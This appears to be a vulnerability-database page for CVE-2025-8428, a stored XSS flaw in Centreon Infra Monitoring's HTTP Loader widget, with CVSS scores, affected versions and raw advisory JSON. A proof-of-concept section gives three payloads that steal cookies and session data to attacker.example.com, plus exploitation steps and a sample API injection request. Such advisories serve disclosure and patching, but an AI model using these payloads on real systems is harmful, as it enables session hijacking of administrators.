Security Vulnerability Report
中文
CVE-2025-8428 CVSS 6.8 MEDIUM

CVE-2025-8428

Published: 2025-10-14 15:16:14
Last Modified: 2025-10-22 14:08:49
Source: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (HTTP Loader widget modules) allows Stored XSS.This issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
Centreon Infra Monitoring 24.10.0 < 24.10.13
Centreon Infra Monitoring 24.04.0 < 24.04.18
Centreon Infra Monitoring 23.10.0 < 23.10.28

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-8428 - Centreon HTTP Loader Widget Stored XSS PoC --> <!-- The following payload demonstrates the stored XSS injection in HTTP Loader widget configuration --> <!-- Step 1: Attacker logs in with low-privilege credentials --> <!-- Step 2: Navigate to widget configuration page for HTTP Loader widget --> <!-- Step 3: Inject malicious payload into vulnerable input field (e.g., URL or header parameter) --> <!-- Example XSS Payload 1: Cookie Stealing --> <script> var img = new Image(); img.src = "https://attacker.example.com/steal?cookie=" + document.cookie + "&session=" + document.querySelector('meta[name="session-id"]').content; </script> <!-- Example XSS Payload 2: Event Handler Injection (in case <script> tags are filtered) --> <img src=x onerror="fetch('https://attacker.example.com/exfil', {method:'POST', body:JSON.stringify({cookies:document.cookie, dom:document.body.innerHTML})})"> <!-- Example XSS Payload 3: SVG-based XSS --> <svg onload="var x=new XMLHttpRequest();x.open('GET','https://attacker.example.com/?d='+btoa(document.cookie));x.send();"> <!-- Step 4: Save the widget configuration (payload is now stored in database) --> <!-- Step 5: Wait for an admin/high-privilege user to view the dashboard containing this widget --> <!-- Step 6: The malicious script executes in the victim's browser, exfiltrating sensitive data --> <!-- Automated exploitation via Centreon API (pseudo-code) --> /* POST /centreon/api/latest/configuration/widgets HTTP/1.1 Host: target-centreon.example.com Content-Type: application/json Cookie: PHPSESSID=attacker_session { "widget_type": "http-loader", "parameters": { "url": "https://internal-api.example.com/metrics", "custom_header": "<img src=x onerror='alert(document.cookie)'>" } } */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8428", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2025-10-14T15:16:14.147", "lastModified": "2025-10-22T14:08:48.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (HTTP Loader widget modules) allows Stored XSS.This issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10.0", "versionEndExcluding": "23.10.28", "matchCriteriaId": "52CE7EB8-492F-4469-9E01-8C63144D785F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.18", "matchCriteriaId": "7C3C1C61-F2EB-4900-9BB7-C80A6C538E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.13", "matchCriteriaId": "09800EB4-10FC-4667-9FC8-88D9A8BB2751"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-8428-centreon-web-all-versions-medium-severity-5103", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Vendor Advisory"]}]}}